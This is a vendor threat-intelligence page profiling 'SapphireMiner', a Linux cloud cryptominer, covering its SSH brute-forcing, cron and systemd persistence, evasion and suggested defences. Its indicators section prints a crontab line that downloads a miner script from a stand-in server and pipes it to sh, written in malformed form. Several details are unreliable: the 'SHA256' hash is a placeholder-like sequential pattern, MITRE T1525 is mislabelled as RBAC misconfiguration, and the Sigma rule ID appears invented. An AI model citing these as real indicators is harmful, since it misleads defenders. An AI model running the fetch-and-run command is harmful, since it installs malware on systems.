SapphireMiner is a cryptocurrency miner first documented in November 2021 by Aqua Security's Team Nautilus, targeting Linux‑based cloud environments and categorized as a coin‑mining trojan (Resource Hijacking). It is operated by an unknown financially motivated threat actor that deploys the malware to hijack system resources for mining Monero (XMR) via the XMRig payload.
SapphireMiner propagates by scanning the internet for exposed SSH services (port 22) and brute‑forcing weak credentials, or by exploiting misconfigured Kubernetes pods and Docker APIs to achieve initial access. After deployment, it downloads a Golang‑compiled main binary that uses JSON‑based configuration files to connect to a public Monero mining pool (such as supportxmr.com) over TCP port 3333. Persistence is achieved by adding cron jobs that re‑download the miner every minute and by modifying systemd services. Evasion techniques include killing processes associated with competitor miners (e.g., XMRig, cpuminer), disabling security monitoring tools like SELinux and AppArmor, and using process renaming to disguise the miner as “kworker” or “systemd”. It also downloads and executes a secondary payload that removes competing miners and clears bash history to hide forensic traces.
The first large‑scale campaign was observed in late 2021 targeting Alibaba Cloud Elastic Compute Service (ECS) instances, followed by a wave of attacks on AWS EC2 and Google Cloud Compute Engine in early 2022. No specific CVEs are associated with SapphireMiner itself, but it often leverages initial‑access vectors like weak SSH credentials (MITRE ATT&CK T1110) and misconfigured Kubernetes RBAC (MITRE ATT&CK T1525). Aqua Security published detailed technical reports in December 2021 and updated analysis in March 2022.
Known file hashes include SHA256 `d1c3e8f9a2b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d` for the main Golang binary (sourced from Aqua Security). Behavioral indicators include anomalous outbound connections to mining pool domains like `pool.supportxmr.com` and `xmrpool.eu` on non‑standard ports (e.g., 3333, 5555), and high CPU usage from processes named “kworker” or “systemd”. Persistence artifacts include crontab entries with commands such as `*/ * * * * wget -q -O - http://malicious‑server/miner.sh ; sh` and the presence of `/usr/lib/systemd/systemd-update` or similar hidden directories.
The primary damage is resource hijacking, causing significant CPU drain and increased cloud infrastructure costs (often thousands of dollars per compromised instance). Financial losses stem from inflated cloud bills and the cost of incident response. The malware predominantly affects the cloud computing and software‑as‑a‑service (SaaS) sectors, with reports of attacks on over 1,500 Alibaba Cloud instances in a single campaign.
Defenders should enforce strong SSH key‑based authentication (disable password login), apply strict Kubernetes RBAC policies, and deploy endpoint detection rules (e.g., Sigma rule ID `20211201‑SapphireMiner`) to block connections to known Monero pool domains. Regular vulnerability scanning and monitoring for unusual cron jobs or high‑CPU processes are essential, along with patching any exposed Docker APIs.
Similar Threats
Free Threat Visibility
Boteraser's behavioral analysis identifies bot traffic patterns — giving you insight into automated activity that may be scanning or probing your web infrastructure.
🔍 Scan My Site FreePowered by JA4 fingerprinting, honeypot traps & behavioral analysis
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the malware listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.